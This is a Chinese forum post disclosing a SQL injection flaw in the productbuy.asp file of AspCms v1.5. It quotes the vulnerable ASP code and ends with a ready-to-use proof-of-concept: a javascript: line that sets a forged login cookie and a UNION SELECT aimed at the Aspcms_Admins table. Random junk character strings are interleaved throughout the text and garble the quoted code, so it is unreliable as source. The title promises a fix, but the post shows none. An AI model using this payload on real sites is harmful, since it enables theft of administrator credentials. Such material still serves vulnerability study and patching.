AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
, \1 \9 i  Y; b% g1 q; U也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

<%
' }% k" ~' O3 r2 s- m$ L9 l( N
if action = "buy" then
  i2 _2 m! s% t+ W
        addOrder()

7 }9 s- Z7 V! S7 felse
. A+ k) _; a$ s. n7 I# o# W1 I
5 y+ P4 U6 g  ?1 {5 u; p" @7 E        echoContent()
( h# j" ]* m. D2 L. m# l: Z
end if
( H# B1 z; Z9 c
/ M4 t* [5 v+ ^2 a; g& V

……略过
7 o# ]9 J7 e+ b+ {4 W  @6 S5 ?# K


Sub echoContent()
5 Q) Z6 B) N& E  V
! d/ Q. ], K  M$ {        dim id
* {. `  Z* c7 w2 \' b
        id=getForm("id","get")
  B2 I0 g1 b5 l& d4 K
        
5 h. M, ~* P( s
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
; Q, B) l: L2 P/ k  C3 ~
        Dim templatePath,tempStr
# Q# M. m- j& k; t2 c
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
/ H: a& C: L$ H2 c6 p

+ @: z( R2 `1 [- }* q# [# u7 F( p2 ?
5 }9 }  T7 a$ i0 c& M        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

% [- L- C% N, H        selectproduct=rsObj(0)

9 a( f4 H$ i" \- }7 S; N9 ]        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode

6 O  W! u: h# D1 W$ L) v        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
6 ~1 A, t/ J  F5 |; g
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
" V. C# f" s, G- Q2 s' p
! k* }+ i, t5 B7 O9 |+ Q                gender=rsObj("gender")

9 h9 m& u8 R6 A                phone=rsObj("phone")

                mobile=rsObj("mobile")

                email=rsObj("email")

                qq=rsObj("qq")
2 _1 N/ u" j& j! |8 P4 h
                address=rsObj("address")

7 I7 {: X, x4 O7 u  s9 [                postcode=rsObj("postcode")

        else
& J( z9 P& \; V) W, g
                gender=1
% z0 T4 p& j7 M: M% z: F! t, G
# M( Z) r! [" k9 q# g& M( }        end if

$ _! f# I. {+ z) S: u" h        rsObj.close()
' h  _3 T2 z7 }+ s
               
' e1 l1 A9 m* w! g
9 P0 q: X3 t/ |1 u- Q8 U        with templateObj
. S3 e4 H; Z% w/ @; T4 M
4 O9 X  i) v0 @                .content=loadFile(templatePath)        
& ~% B0 X  G3 d0 P% t
3 g) t; [+ b) f/ K  l2 {                .parseHtml()
. J- e4 _" n4 Q# [% R
9 O6 _! D  ~/ z" J9 ]( ]0 j1 Z                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
- W0 f7 C6 a3 n- {% z
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
; P- v7 S$ T( O
1 O" C' v- |: Y0 s- o9 y8 U                .content=replaceStr(.content,"[aspcms:phone]",phone)               
4 I6 D# u( H, ]- R6 w7 |
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
4 c4 K6 P# U5 b( r1 n
                .content=replaceStr(.content,"[aspcms:email]",email)                        

, D1 \) U, E6 m; p1 S& |                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
: r, g* }$ \$ Q: K- J. j
) g! z) s3 ]/ ^                .content=replaceStr(.content,"[aspcms:address]",address)                        
1 t, m0 X- ~+ Y; U. b0 G
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
& s+ Z; F' _& X+ ~
                echo .content

. z+ @7 |' p9 h% x9 q        end with

        set templateobj =nothing : terminateAllObjects

* z8 n# F- m# E# FEnd Sub
漏洞很明显，没啥好说的
poc：
# H) p3 e  N( N- X6 [7 s# @& w9 |( B
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
' F+ F; ?2 V8 f5 ]4 N/ u2 W
! t* s! P! b0 v' I' I